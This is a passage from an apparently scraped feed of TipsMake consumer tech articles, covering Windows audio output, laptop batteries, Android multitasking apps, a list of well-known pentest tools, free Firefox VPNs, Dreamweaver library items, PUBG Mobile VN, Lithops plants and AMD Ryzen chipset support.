speakers \u0026nbsp;and\u0026nbsp; headphones , a very unique feature. You can play games and stream music to your family at the same time without any problems. The article will show you how to do it very simply, follow along!\nAs a tip, this\u0026nbsp; App volume and device preferences feature \u0026nbsp;is only available for\u0026nbsp; Windows 10 April 2018 version \u0026nbsp;and later. Audio from different sources will be played on different devices.\nThis feature can be used for headphone\u0026nbsp; jack 3.5 \u0026nbsp;mm , USB speakers,\u0026nbsp; headsets \u0026nbsp;and\u0026nbsp; Bluetooth speakers .\n  The feature only applies to Windows 10 April 2018 version and later\nUsing Change System sounds\nThis is a feature that uses speakers and headphones to play 2 different audio sources. Simply put, you can use this feature to play music via\u0026nbsp; YouTube \u0026nbsp;on Chrome, and watch movies with sound on speakers using\u0026nbsp; Netflix .\nAdvantages :\nThis is a convenient and safe feature available on Windows, the steps are simple, not through any 3rd party software.\nTo perform the installation in this way, please follow the instructions below!\nStep 1:\u0026nbsp; Press the Windows + I key combination\u0026nbsp; \u0026nbsp;to open\u0026nbsp; the Settings Panel\u0026nbsp; \u0026gt; Select\u0026nbsp; System .\n  Adjust this feature in System\nStep 2:\u0026nbsp; Select\u0026nbsp; Sound \u0026nbsp;\u0026gt; Scroll down to find and select\u0026nbsp; App volume device preferences\u0026nbsp; in the\u0026nbsp; Advanced sound options section .\n  Go to App volume and device preferences\nStep 3:\u0026nbsp; According to the sequence number marked in the picture, follow the instructions in \u0026nbsp;item 1\u0026nbsp; to enable this feature.\n1. To switch different playback devices, you set in\u0026nbsp; Output\u0026nbsp; by selecting the corresponding audio source.\n2. App\u0026nbsp; and\u0026nbsp; Volume columns\u0026nbsp; \u0026nbsp;to adjust the in-app volume of each audio device. In the Output section\u0026nbsp; , you can adjust\u0026nbsp; the \u0026nbsp;specific sound output in the application to the corresponding speaker device.\n3. Select\u0026nbsp; Reset\u0026nbsp; when you want to reset the settings.\n  Adjust the feature in item 1\nVoiceMeeter is a free software for computers with Windows 10, 8, 8.1 and 7 versions installed\u0026nbsp; . This software supports users to use multiple output audio devices, namely with 3.5 jack headphones, USB speakers, Bluetooth headsets and speakers.\n  The VoiceMeeter app also supports this feature\nAdvantages :\nThis is a free software, supports all audio interfaces, optimizes audio features, gives the best user experience.\nCons :\nSince this is a third-party software, not available on Windows, errors may occur in some cases.\nTo use VoiceMeeter to set up the headset and speakers to play the same audio source, please follow the instructions below.\nDownload and install VoiceMeeter software\nStep 1: \u0026nbsp;Download VoiceMeeter software\u0026nbsp; HERE .\nStep 2:\u0026nbsp; Double-click the downloaded item \u0026gt; Select\u0026nbsp; Yes\u0026nbsp; \u0026gt; Select\u0026nbsp; Install .\n  Complete application installation\nStep 3:\u0026nbsp; After completing the installation, find\u0026nbsp; VoiceMeeter\u0026nbsp; in the search bar \u0026gt; Select the first display \u0026nbsp;result\u0026nbsp; .\n  Access VoiceMeeter to proceed with setup\nUse Voicemeeter to play audio from headphones and speakers at the same time\nStep 1:\u0026nbsp; In column\u0026nbsp; A1\u0026nbsp; on the left corner of the screen, select\u0026nbsp; WDM\u0026nbsp; or\u0026nbsp; MME\u0026nbsp; for your first transmitter.\n  Adjust the side of column A1 first\nStep 2:\u0026nbsp; In column\u0026nbsp; A2\u0026nbsp; right next to it, select\u0026nbsp; WDM\u0026nbsp; or\u0026nbsp; MME\u0026nbsp; for the remaining transmitter.\n  Next adjustment in column A2\nThis method is convenient in that you do not need to download a lot of software or tinker with how to install third-party software to play sound from speakers and headphones from the same source.\nHowever, if you choose the transfer, you will be costly to invest in a\u0026nbsp; USB hub \u0026nbsp;(USB hub) to synchronize headphone jack 3.5 and\u0026nbsp; USB \u0026nbsp;speakers. Another limitation is that this method only works with\u0026nbsp; wired headphones \u0026nbsp;and speakers\u0026nbsp; .\n  You can also use the adapter to use this feature\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqpscCdp6GnnprAbq3NnWSesKSav6%2Bty2aqqZ2RoLKzv4yipWaokaeurbjEpWSopl2stq%2BwzrCqZmlgYq6xvsilZK6olJbBpg%3D%3D\n","link":"/post/how-to-use-headphones-and-external-speakers-in-parallel-on-windows-10-april-update/","section":"post","tags":null,"title":"How to use headphones and external speakers in parallel on Windows 10 April Update"},{"body":"TipsMake.com - How do you do to use and manage laptop batteries in Windows 7? What is the signal that helps the user determine the instability in the system due to the battery? Here, we will guide you how to use and optimize laptop battery life in Windows 7 using the operating system's built-in features. Use the Troubleshooter Open Control Panel \u0026gt; Troubleshooting , type the keyword power into the search box, the system will display the appropriate results. Here you choose Power :\n Next, click on the Advanced link :\n Note in the next window, you can check Apply repairs automatically if you want. After clicking Next , the program will review:\n As here, the problem is that the battery performance level is set too high compared to current operations on the computer. Click Next to fix this phenomenon:\n If users pay a little attention to the relevant components within the system and exploit the available features of Windows, it will definitely save time and effort when troubleshooting later. How to use and manage laptop batteries is a good choice without having to apply software, support programs or users must bring computers to shops and technical centers to overcome. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq680aitnmWknbJursCtq56qqWLAta3TrqpmoZ5ixKq6w6iurGVnYsSqwMdmp6ivlad6tb7OrpmlnaOdvLDAxKs%3D\n","link":"/post/improve-the-battery-status-in-windows-7-with-power-troubleshooter/","section":"post","tags":null,"title":"Improve the battery status in Windows 7 with Power Troubleshooter"},{"body":"You usually open and use a single application on Android phones at a time. But do you know how to significantly increase productivity by multitasking?\nUsing a few tricks and Android apps you can open two apps at once, switch between apps easily and even watch videos while working on other applications. To do this, let's look at many ways to multitask on Android below.\n1. Android shortcut key shortcut Android 7.0 Nougat or above has a handy shortcut to instantly switch between the current application and the last used application. To use it, just double-tap the Recents square button (pull up all active applications) on the navigation bar. Use this shortcut once to return to the last application you opened, press again to return to the original application.\nIf you run Android 9.0 Pie and above, you will not have the older navigation buttons at the bottom of the screen but instead you need to use the pill-shaped home button to switch apps. These gestures are just one of the new features of Android Pie.\nOne thing to note is that although this is the original Android function, it may not be available on your phone (or possibly in other formats) depending on the manufacturer.\n2. Screen split mode Android also has a multi-window option to run two applications in parallel. For example, you can open a document in Google Docs on the bottom half of the screen with the Google Search window on the other half to search.\nIn addition, Android allows you to drag text from one application to another in split screen mode. You can even adjust the window size depending on the intended use. Almost every major application supports multiple windows on Android like Netflix, Google Docs, YouTube, Twitter and WhatsApp.\nHow to open multitasking multitasking mode on Android phones 3. Picture-in-Picture mode Another smart integrated multitasking feature is Picture-in-picture (PiP) mode. This allows you to watch videos in a floating, draggable window.\nThis mode is very convenient, you can search the restaurant during a video chat with friends or you can watch YouTube videos and browse Reddit at the same time. Picture-in-picture view is available on some video applications such as YouTube, Netflix and VLC.\nHowever, Android's Picture-in-picture mode is not limited to streaming applications, PiP works to navigate Google Maps, Google Duo video chat, and more.\nTo switch to Picture-in-picture mode, simply touch the home button while the content is playing and the app automatically zooms in to a small window. You do not need to manually switch any settings to work. Picture-in-picture only supports Android 8.0 Oreo and above.\n4. Lynket Browser Download Lynket Browser for Android Lynket Browser tries to fix Android's lousy tab customization functionality by forwarding web pages to a separate application. However, the reason we mentioned it here is because of the multitasking of the application.\nLynket can load web pages in the background and add them as a floating bubble on the screen. You can immediately open it or leave them there and watch later.\nThe application allows you to launch multiple links in the form of floating bubbles to make multitasking between the browser and other applications easy.\n5. Split Screen Launcher Download Split Screen Launcher for Android This application enhances the utility of splitting the screen of Android by adding a missing key feature.\nWith Split Screen Launcher, you can create shortcuts for frequently used split screen combinations. If you regularly use YouTube and Twitter in multi-window mode, you can turn it into a home screen shortcut to open split screen mode with these two apps in a flash.\nSplit Screen Launcher has a simple interface. To configure a new shortcut, tap the Create Shortcut button on the application, specify which application is above, which application is below and click Save . At the prompt, press and drag to place a new shortcut on the home screen.\n6. Taskbar Download Taskbar for Android Taskbar is the optimal multitasking tool for Android phones. Basically, it pinches a desktop-like taskbar at the bottom of the phone screen. In the left corner of the bar, you will see a menu similar to the Start menu to access installed applications. On the right, it contains frequently used applications.\nSince it is accessible everywhere, you can easily switch between applications and skip the Recents navigation button. In addition, the Taskbar can contain many widgets you like.\nTo avoid obstructing your vision when not using it, Taskbar automatically hides under the arrow button. You can reset its position to the right or left side and change its direction.\nOn Android 7.0 and above, the Taskbar can even launch applications in free-form windows to actually turn your phone into a mobile workstation. However, this function is only available through the ADB command. Once you've set up ADB on your computer, go to the Freeform tab of the Taskbar and follow the instructions on the screen.\n7. Edge Screen Download Edge Screen for Android Edge Screen takes advantage of the edges of the phone by adding retractable panels. They give you quick access to applications, contacts, settings, navigation shortcuts, etc.\nYou can summon the Edge Screen by dragging the sidebar and continuing to swipe to rotate through the tables. In addition, the Edge Screen has many small applications such as controlling music, computer, calendar, audio recording.\n8. Floating Bar V40 Download Floating Bar V40 for Android You can think of this application as a less annoying alternative to the Edge Screen because of the same features. The Floating Bar V40 allows you to access applications, contacts, fast actions and other items without leaving your current activity.\nBut instead of taking up half of the screen, Floating Bar V40 is present in a small, retractable stereo. Like the Edge Screen, it can swipe and contain some widgets as well as collections.\nThese applications will help you multitask on Android phones in many different ways. Now even on the move, you can get things done more efficiently, switch applications immediately and run parallel applications.\nncG1vNJzZmismaXArq3KnmWcp51kvaa%2BxaippmWdqrm1tdOaqqShnpx6sLqMmqWdqp%2BesW7DyK2fZqyYmsCmedOip6xlkaOxbq3PqaOim5GptrC60g%3D%3D\n","link":"/post/perform-multitasking-on-android-with-these-tips-and-applications/","section":"post","tags":null,"title":"Perform multitasking on Android with these tips and applications"},{"body":"In today's article, Tipsmake will join you to find out the top 10 best pentest tools available today.\n1. Powershell-Suite Powershell-Suite is a collection of PowerShell scripts that extract information about processes, processes, DLLs, and many other aspects of a Windows machine. By scripting specific tasks together, you can quickly navigate and test which systems on the network are vulnerable to exploitation.\nBest used for purposes: Making automated tasks easy to spot vulnerable content on the network. Supported Platforms: Windows   2. Zmap Zmap is a lightweight network scanner capable of scanning everything from your home network to the entire Internet. This free network scanner is best used to gather basic details about the network. If you only have one IP range to use, use Zmap to get a quick overview of the network.\nBest used for the purpose: Gathering information and classifying initial attack scenarios. Platforms Supported: Zmap is supported on a variety of Linux and macOS platforms 3. Xray Xray is an excellent network mapping tool that uses the OSINT framework. Xray uses word lists, DNS requests and any API keys to help identify open ports on the network from the outside.\nBest used for: Pentest performers gain access to the network without help Supported Platforms: Linux and Windows 4. SimplyEmail SimplyEmail is a tool used to help collect relevant information found on the Internet based on someone's email address. SimplyEmail works to search the Internet for any data that might help provide information about any email address.\nBest used for: Pentesters looking to list accounts for enterprise-grade testing commitments. Supported Platforms: Docker, Kali, Debian, Ubuntu, macOS 5. Wireshark Wireshark is possibly the most widely used network protocol analysis tool worldwide. Network traffic collected via Wireshark can show which protocols and systems are active, which accounts are most active, and allow an attacker to intercept sensitive data. Refer to the article: Using Wireshark to analyze the data packets in the network for details.\nBest used for: Network visibility at a deep level of communication. Supported Platforms: Windows, Linux, macOS, Solaris   6. Hashcat Hashcat is one of the fastest password recovery tools to date. By downloading the Suite version, you get access to the password recovery tool, word generator and password cracking element. Dictionary, Combination, Brute-force, Rule-based, Toggle-case, and Hybrid password attacks are fully supported. Best of all, Hashcat has a great online community to help with bug fixes, WiKi site and tutorials.\nBest used for: System recovery experts or pentester looking for the best password recovery tool for claiming ownership in their business. Supported Platforms: Linux, Windows, and macOS 7. John the Ripper John the Ripper is a password cracking tool. Its sole purpose is to find weak passwords on a certain system and reveal them. John the Ripper is a tool that can be used for both security purposes and for checking compliance with regulations. John is known for his ability to quickly reveal weak passwords in a short amount of time.\nBest used for purposes: Cracking passwords for newbies Supported Platforms: Windows, Unix, macOS, Windows 8. Hydra Hydra is also a password cracking tool, but with a difference. Hydra is a single password application tool that supports multiple protocols and parallel connections at the same time. This feature allows penetration testers to try to crack multiple passwords on different systems at the same time without losing connection if unbreakable.\nBest used for purposes: Cracking passwords for professionals Supported Platforms: Linux, Windows, Solaris, macOS 9. Aircrack-ng Aircrack-ng is an all-in-one wireless network security tool for penetration testing. Aircrack-ng has four main functions that make it stand out in the segment; It performs monitoring of network packets, attacks through packet infecting, WiFi capabilities testing, and finally password cracking.\nBest used for: Command line users who prefer to create attacks or defenses. Supported Platforms: Windows, OS X Solaris, Linux   10. Burp Suite For the pentesting of web applications, Burp Suite is an essential tool. Burps UI is fully optimized for professionals working with built-in profiles, allowing configuration to be saved on a per-task basis.\nBest used for: Professionals in charge of enterprise application security. Supported Platforms: Windows, macOS, and Linux Above are some of the best pentest tools in the present time that Tipsmake wants to introduce to readers. Hope you will find yourself a suitable option!\nTop 10 pentest ncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZpqVqMFuvMSnq56rpGLBsLvLrGRraGJm\n","link":"/post/top-10-best-pentest-tools-2021/","section":"post","tags":null,"title":"Top 10 best pentest tools 2021"},{"body":"Up to now, you must be aware of the importance of using VPN. Today, this article will focus on Firefox browser. Here are some of the best free VPNs for Firefox that you should consider.\nWhere is the best free VPN for Firefox? Warning: Free VPN will have certain risks The best free VPN for Firefox 1. Hoxx VPN 2. TouchVPN 3. SetupVPN 4. Hola VPN 5. Browsec VPN 6. Hotspot Shield 7. ExpressVPN  Warning: Free VPN will have certain risks This is the first thing to warn readers. Many VPNs mentioned in this article have a somewhat vague security policy and the platform is not really impressive.\nBut if you want a quick way to access content blocked by geography, you should still consider these options. If you want to improve the online security of VPN, you need to use a paid package. 2 best options at the moment are ExpressVPN and CyberGhost.\nThe best free VPN for Firefox 1. Hoxx VPN   Hoxx VPN for Firefox is a popular free VPN on this browser. This VPN boasts a 4.6-star rating with nearly 7,000 reviews.\nHoxx VPN has more than 100 servers around the world, scattered in many countries. All you need to get started is a free Hoxx account.\nThis add-on can help you unlock websites, improve privacy on the Internet, hide location and avoid malicious websites. VPN encrypts all connections from the user's computer.\nUnfortunately, if you delve into Hoxx's privacy policy, you will find some somewhat unpleasant information:\nHoxx collects logs (including browsers, languages, access times, pages viewed and IP addresses). VPN uses third party tracking pixel. Hoxx stores a lot of information about the device (including hardware model, operating system and version, unique device identification number, phone number, IMEI number and mobile network information). It is very likely that all of this data is being exploited unjustly.\n2. TouchVPN   TouchVPN is also highly ranked. This free VPN has no limitations on sessions, speed or bandwidth.\nWith the one-click connection button, you can use servers in Sweden, the United Kingdom, Denmark, France, the United States, the Netherlands and Canada.\nTouchVPN is also very safe. It uses bank-level SSL encryption to keep user data safe.\nOn the downside, this company's security policy is also full of vulnerabilities. Like Hoxx, it logs user data and information. The leakage of other information is also very worrying.\n3. SetupVPN   SetupVPN is another free VPN for Firefox. First of all, let us look at the positive side:\nSecurity: SetupVPN uses military grade 4096-bit encryption on all network communication activities. Server: If you want to access content that is geographically blocked, the application will work well. It has more than 100 servers around the world. Speed: SetupVPN has no bandwidth or speed limits. What about the negative side? Like the two add-ons above, SetupVPN also collects logs. In addition to device information and usage, SetupVPN also records the user's location. Under the security policy, it will even know the speed at which a user's device is moving.\nUsers are also complaining about slowing down when you use the server at a far distance (such as the other side of the globe).\n4. Hola VPN   Hola is a popular name in the free VPN world and Hola VPN for Firefox is another popular choice for Mozilla users. Unlike the older version of Hola, the Firefox version of the add-on is not a peer-to-peer VPN.\nThis VPN allows users to access blocked websites in the country or even on Wi-Fi networks (such as Facebook access in the office),\nOf course, the big drawback of Hola is its suspicious track record. In 2015, it was discovered that the company was selling access node (exit node) access to all Internet traffic to the Internet. My data, basically turning computer users into a giant botnet.\nPrivacy policy also vibrates alarm bells. In addition to data on logs and equipment collected by Hoxx, Hola also stores full names, home addresses, email addresses, birth dates, profile photos, friends lists and personal descriptions if users use information. Login information on social networks to login.\n5. Browsec VPN   Browsec offers both free and paid VPN packages. Not surprisingly, the free package is much more limited than the paid option.\nThe biggest drawback of this VPN is bandwidth restriction. It is limited to 1Mb / s for free users. Free users can also use only 4 of the company's 30 servers. This means losing some benefits from exploiting this tool as a service to access geographically blocked content.\nOn the positive side, Browsec is less prone to the reputation associated with privacy policies, but the company also admits that they still share anonymous data in a comprehensive form with third parties, including expenses. other current or future branches, advertisers and business partners.\n6. Hotspot Shield   Like Browsec, Hotspot Shield offers both free and paid versions. The free version of Hotspot Shield has more features than Browsec. In addition to standard VPN features, this add-on also offers ad blocking, blocking tracking, cookie blocking and anti-malware.\nAll virtual servers are included in the free package. If you want to access high-end servers, you will have to pay a fee for the HotSpot Shield. The free version also has unlimited bandwidth.\nBecause the company makes money from users' pay, the privacy policy is very strong. Hotspot Shield will not sell user data. Finally, Hotspot Shield is extremely user friendly. Unlike many other VPN utilities for Firefox, you do not need to create an account before starting to use the service.\nAlthough Hotspot Shield can be used for free, the premium package offers some special benefits.\n7. ExpressVPN   The article will end with the best VPN for Firefox. It has 148 VPN servers, kills switches (cuts all network connections when VPN stops working), split tunneling (according to Wikipedia: Split tunneling is a computer network concept that allows a person to use a mobile computer. Access to network asynchronous security such as a public network (for example, Internet) and a LAN or WAN at the same time, use the same or different network connections) and zero-knowledge DNS (do not transmit download any other irrelevant information). These features cannot be found in other free options on this list. ExpressVPN also comes with privacy protections, supports multiple VPN protocols (OpenVPN with TCP / UDP, SSTP, L2TP / IPsec and PPTP) and AES-256 encryption.\nMost importantly, ExpressVPN does not store logs. It will never track IP addresses, browsing history, traffic, traffic metadata or DNS queries. Users can get 3 FREE months when registering for ExpressVPN within 1 year here!\nUsing free VPN means you will have to consider many factors. You are forced to make decisions that will sacrifice speed, features or privacy.\nCurrently, the best free VPN for Firefox is the HotSpot Shield. However, there are also factors to consider when choosing the HotSpot Shield and need to know how to manage it for a suitable experience.\nWish you find the right choice!\nSee more:\nThe best VPN for gamers Using Tor, I2P or safer VPN? How to use VPN Gate fake IP ncG1vNJzZmismaXArq3KnmWcp51kwbC8jJucrKxdq72vecWoqWaemaeyp7vX\n","link":"/post/top-best-vpn-for-firefox/","section":"post","tags":null,"title":"Top best VPN for Firefox"},{"body":"The Library is a Dreamweaver file that specifically contains a collection of your own content or copies of the content you can place on your website. The content in a library is called library item. Items that you can store in the library include images, tables, audio and files created with Adobe Flash. You can automatically update all pages using the library item whenever you edit that item.\nFor example, suppose you are building a large website for a company that wants a slogan to appear on every page. You can create a library item containing that slogan and use that library item on every page. If the slogan changes, you can change the library item and automatically update every page that uses it.\nAdobe Dreamweaver stores the library items in the Library folder at the local root directory for each page. Each page has its own library.\nYou can create a library item from any element in the body of the document, including text, tables, forms, Java applications, plug-ins, ActiveX elements, navigation bars and images. .\nFor linked items like images, the library only stores one reference to that item. The original file must remain in the specified location for the library item to work correctly.\nHowever, it is still useful to store an image in a library item. For example, you can store the complete img tag in a library item, which will allow you to easily change the image's alt text or even its src attribute, across the entire site. (However, do not use this technique to change the width and height attributes of the image, unless you also use the image editor to change the actual size of the image).\nNote:\nIf the library item contains links, the links may not work in the new site. In addition, the image in a library item cannot be copied to the new site.\nWhen you use a library item, Dreamweaver will insert a link to it, instead of the item itself, in the web page. That is, Dreamweaver inserts a copy of the HTML source code for the item into the document and adds an HTML comment containing a reference to the original, external item. This is an external reference that allows automatic updates to take place.\n  When you create a library item that includes an element with Dreamweaver behavior associated with it, Dreamweaver will copy that element and its event handler (the attribute that determines which event triggers the action. , such as onClick, onLoad or onMouseOver, and what action is called when the event occurs) go to the library item file. Dreamweaver does not copy the JavaScript functions linked to the library item. Instead, when you insert library items into a document, Dreamweaver will automatically insert the appropriate JavaScript functions into the first part of the document (if they are not already there).\nNote:\nIf you write JavaScript code (that is, if you create it without using Dreamweaver behavior), you can make it become part of a library item, if you use Call JavaScript action to execute code. If you do not use Dreamweaver behavior to execute code, the code will not be retained as part of the library item.\nThere are special requirements to modify the behavior of items in the library. Items in the library cannot contain style sheets, because the code for those elements is part of the header.\nWork with the library item in Adobe Dreamweaver CS6 Create a library item of choice Create an empty library item Insert a library item into the document Edit the library item and update the document Edit the library item Update the document to use the current version of all library items Update the entire website or all documents using a specific library item. Rename the library item Delete the item library from a library Recreate a missing or deleted library item  Customize highlight of library items Change the highlight color of the library items Display or hide highlights in the Document window  Edit the properties of a library item Make the library item editable in the document Edit an behavior in the library item Create a library item of choice In the Document window , select a part of the document to save as a library item. Select Tools\u0026gt; Library\u0026gt; Add Object to Library . Enter the name for the new item library, then press Enter (Windows) or Return (Mac). Dreamweaver saves each library item as a separate file (with the .lbi file extension) in the Library folder of the local root directory for the site.\nCreate an empty library item Make sure nothing is selected in the Document window. If an element is selected, it will be placed in the new item library. In the Assets control panel , select the Library category . Click the New Library Item button at the bottom of the control panel. After selecting the item, enter a name for it, then press Enter (Windows) or Return (Mac). Insert a library item into the document When you add a library item to a page, the actual content is inserted into the document along with a reference to the library item.\nEnter the place you want to insert the library item into the Document window . In the Assets control panel , select the Library category . Do one of the following: Drag a library item from the Assets panel into the Document window . Note:\nTo insert content for an item in the library without including a reference to the item in the document, press Control (Windows) or Option (Mac), and drag an item out of the Assets control panel . If you insert an item in this way, you can edit the item in the document, but the document will not be updated when you update the page using the library item.\nSelect a library item and click Insert. Edit the library item and update the document When you edit a library item, you can update all documents using that item. If you choose not to update, the documents are still linked to the library item and you can update them later.\nYou can rename items to disconnect them from a document or template, delete items from the site's library and recreate a missing library item.\nEdit the library item In the Assets control panel , select the Library category . Select a library item. Click the Edit button or double-click the item library. Dreamweaver opens a new window, similar to the Document window, to edit the library item. The gray background indicates that you are editing the library item instead of the document. Make edits and then save your changes. Specify whether to update the document on the local website using library item. Select Update to update immediately. If you choose Don't Update, the document will not be updated until you select Tools\u0026gt; Library\u0026gt; Current Update Page or Update Pages .   Update the document to use the current version of all library items Select Tools\u0026gt; Library\u0026gt; Update Current Page .\nUpdate the entire website or all documents using a specific library item. 1. Select Tools\u0026gt; Library\u0026gt; Update Pages .\n2. In the Look In menu, specify the content to update:\nTo update all pages in the selected site, to use the current version of all library items, select Entire Site, then select the site name from the adjacent menu. To update all pages in the page currently using library item, select Files That Use , then select the library item name from the adjacent menu. 3. Ensure that the Library Items are selected in the Update option .\nNote:\nTo update templates at once, select Template.\n4. Click Start.\nDreamweaver updates files as indicated. If you have selected the Show Log option , Dreamweaver will create a report indicating whether the file has been successfully updated, along with other information.\nRename the library item In the Assets control panel , select the Library category . Select the library item, pause, then click again. (Do not double click because double clicking will open the item for editing). Enter a new name. Click elsewhere or press Enter (Windows) or Return (Mac). Specify whether to update the item using the item by selecting Update or Don't Update. Delete the item library from a library When you delete a library item, Dreamweaver will delete it from the library but not change the content of any document that uses that item.\nIn the Assets control panel , select the Library category . Select library item. Click the Delete button or press the Delete key , then confirm that you want to delete the item. Note:\nIf you delete the library item, you cannot use the Undo button to retrieve that item. However, you can recreate it.\nRecreate a missing or deleted library item Select an instance of using the item in the document. Click the Recreate button in the Property (Window \u0026gt; Properties). Customize highlight of library items You can customize the highlight colors of the library items and display or hide these highlights by setting Highlighting preferences.\nChange the highlight color of the library items Select Edit\u0026gt; Preferences (Windows) or Dreamweaver\u0026gt; Preferences (Mac). Select the Highlighting category from the list on the left of the Preferences dialog box . Click the Library Items color box , then select the highlight color with the color picker (or enter the hexadecimal color value in the text box). Select Show to display highlight colors in the Document window . Click OK. Display or hide highlights in the Document window To display the highlight, select View\u0026gt; Design View Options\u0026gt; Visual Aids\u0026gt; Invisible Elements . To hide the highlight, uncheck Invisible Elements.\nEdit the properties of a library item You can use Property and open a library item to edit, split a selected library item from its source file or overwrite an item with the currently selected library item.\nSelect a library item in the document. Select one of these options in the Property (Window \u0026gt; Properties): Src: Displays the file name and location of the source file for library item. You cannot edit this information. Open: Open the source file of the library to edit. This is equivalent to selecting the item in the Assets panel and clicking the Edit button . Detach From Original: Terminate the link between the selected library item and its source file. You can edit this separated item in the document but it is no longer a library item and is not updated when you change the original item. Recreate: Override the original item library with the current selection. Use this option to recreate items in the library, if the original library item is missing or accidentally deleted. Make the library item editable in the document If you have added the library item to your document and you want to edit the specific item for that page, you must disconnect the link between the item in the document and the library. Once you have made a specific case in the document editable, it will not be updated when the library item changes.\nSelect a library item in the current document. Click Detach From Original in the Property (Window\u0026gt; Properties) . Edit an behavior in the library item To edit the behavior in a library item, you must first insert the item into the document, then make the item editable in that document. After making the changes, you can re-create the library item, replace the item in the library with the edited item from your document.\nOpen a document containing the library item. Notice the name of the library item, as well as its exact tags. You will need this information later. Select library item, then click Detach From Original in the Property (Window \u0026gt; Properties). Select the element with behavior associated with it. In the Behaviors control panel (Window\u0026gt; Behaviors) , double-click the action you want to change. In the dialog box that appears, make your changes, then click OK. In the Assets control panel , select the Library category . Write down the exact and capitalized name of the original item library. Select it, then click the Delete button . In the Document window , select all elements that make up the library item. Be careful to choose exactly the same elements as in the original item library. In the Assets panel , click the New Library Item button , then place a new item with the same name as the item you deleted (same capitalization). To update the New Library Item in other site documents, select Tools\u0026gt; Library\u0026gt; Update Pages . In the Look In menu , select Files That Use. In the adjacent menu, select the name of the library item you just created. In the Update option , make sure that the Library Items are selected, then click Start. When the update is complete, click Close. Hope you are succesful.\nSee more:\nInstall and use extensions for Adobe Dreamweaver CS6 How to add a Wordpress website to Adobe Dreamweaver CS6 Design website with Adobe Dreamweaver CS5 software ncG1vNJzZmismaXArq3KnmWcp51kxLC%2BymauoqyYYsGpsYyloJuqkafGbrXTnqRmoZ5irqW7wZ5knaqVlrq4scCvnKtlk6iD\n","link":"/post/work-with-the-library-item-in-adobe-dreamweaver-cs6/","section":"post","tags":null,"title":"Work with the library item in Adobe Dreamweaver CS6"},{"body":"From today, November 26, 2018, users in Vietnam have been able to download the Vietnamese version of PUBG from VNG publisher for both Android and iOS. This is the PUBG version dedicated to the Vietnam region with its own server, with Vietnamese interface.\nDownload link:\nPUBG MOBILE VN for iOS PUBG MOBILE VN for Android According to users' comments, PUBG Mobile VN has an interface not much different from the international version but there are still some errors that cause annoyance to users.\n  Here is the experience when playing PUBG Mobile, the newly released Vietnamese version:\nWhen you start playing the game, you will see the Lightspeed \u0026amp; Quantum developer logo and VNG distributor, language sponsor with Vietnamese interface for Game.\n  If users use Facebook account to log in and play Game, they will have to confirm the date of birth with VNG, not provide the ID number as previously announced. In addition, the message 'Playing more than 180 minutes a day will affect health' also appears in the Vietnamese version.\n  There are 3 choices of in-game graphics depending on the configuration of the device so that users can choose and experience the game in the smoothest way.\n  The main interface in the lobby of the Vietnamese version is the same as the international version. When logging into the new version with the old account, all information and items of the player are retained, only the map of the game is required to reload.\n   With the Vietnamese version, players only need to tick the Priority pairing with the same language and choose the language 1 is Vietnamese, the second language is English to be able to prioritize teaming with other players in Vietnam.\n  The installation interface of the Vietnamese version looks quite intuitive, user-friendly. However, in this interface there are still a few words that do not translate meaninglessly.\n  The biggest error currently on the Vietnamese version is the font error but on the user interface interface and the blood of the character in the game being shot is green rather than red as the international version.\nSee more:\nPUBG Mobile Vietnam launches the Official Website, requires gamers to declare Real Name and ID card How to install Vietnamese interface for PUBG Mobile Basic mistakes to avoid when playing PUBG Mobile ncG1vNJzZmismaXArq3KnmWcp51krq2%2BxJqbsmWYlsOmec%2BumaBlnaSvqrjEZq2nZZ%2BjeqK6w6umopxdlrulecioqmahnqu2tbGMsqauZaSkeqW71qejqJmUYq6vsIyer6mdop6yr6%2FE\n","link":"/post/already-have-pubg-mobile-vn-on-android-and-ios-invite-you-to-download-and-experience/","section":"post","tags":null,"title":"Already have PUBG Mobile VN on Android and iOS, invite you to download and experience"},{"body":"With a strange, unique appearance that resembles pebbles, this plant species is almost invisible to the eyes of humans and herbivores and thirsty. If you don't bloom, you can hardly recognize them in the pebbles of Africa.\n  From the outer appearance of the same stones and stones, this small plant has the scientific name Lithopturbuniformis (listhops means stone; opsis means shape), Lithops for short.\n  This is a kind of succulent plant native to southern African countries belonging to the genus of flowering plants in the Aizoaceae family.They are called by some other names such as jelly, jade stone, lotus stone, cactus, pebble, stone flower, gravel.\n  A stone pebble tree consists of one or more tuber-shaped pairs, almost fused to face each other and almost no root.\n  The gap between leaves contains meristem producing new flowers and leaves.\n  Thick stone-like leaves to store enough water for plants exist for months without rain in desert areas and dry places.\n  Stones and gravel trees have many different colors such as cream, gray, brown, blue, even transparent trees, see the internal organs.From the top, look at an egg-shaped pebble flower with a cone from the bottom of the tree.\n  Their flowers are very beautiful, fragrant in the rain.The flowers are white and yellow as they emerge from extremely fancy stones.After that will quickly bead and spread.\n  Seeds of stone pebbles are easy to germinate.Young trees are very vulnerable, they need 1-2 years to stabilize the roots.In the third year, the plant starts to flower.\n  Stone pebbles often bloom in autumn, flowers grow from cracks, and have a diameter of 4 - 5cm.\n  This is a non-toxic tree, even children in some African countries use them to quench their thirst.\nncG1vNJzZmismaXArq3KnmWcp51krq6t2aKloGWWoby4sdGsZJqqlWLAqa3PnptmpJmgsm68xJuZpZ2j\n","link":"/post/amazing-flowers-are-shaped-like-pebbles/","section":"post","tags":null,"title":"Amazing flowers are shaped like pebbles"},{"body":"In an unexpected move, AMD announced two days ago that the upcoming Ryzen 4000 CPU series based on the Zen 3 architecture will be able to run on 400 series motherboards such as the B450 and X470. This is rated by experts as a \"promised first and next\" but still a good news for AMD users.\nTwo weeks ago, when AMD launched the Ryzen 3 3300X and 3100 CPUs, the red team also revealed information about the B550 chipset, which was expected to be released simultaneously with the X570 a year ago. The chart below gives the clearest view of AMD's decision.\nImmediately after that, AMD was met with a backlash from users because they had previously promised that their AM4 socket will be supported from 2016 until 2020. But now they are going to flip the deal with the release. Ryzen 4000 eyes only support motherboards of 500 series and above. The fact that a socket / chipset supports only 3 generations of CPU makes users feel AMD is getting into the footsteps of Intel, on the way of \"milking\". According to AMD's explanation, the problem lies in the size of the BIOS. Each generation of CPU will need a portion of the BIOS capacity to accommodate the code lines to ensure compatibility. Modern BIOS has now moved to UEFI with a more user-friendly interface but will also take up quite a bit of BIOS space.\n Most AMD motherboards are only equipped with a BIOS chip of 16MB capacity. AMD and motherboard manufacturers can easily place much higher-capacity BIOS chips, but due to design issues, early Ryzen 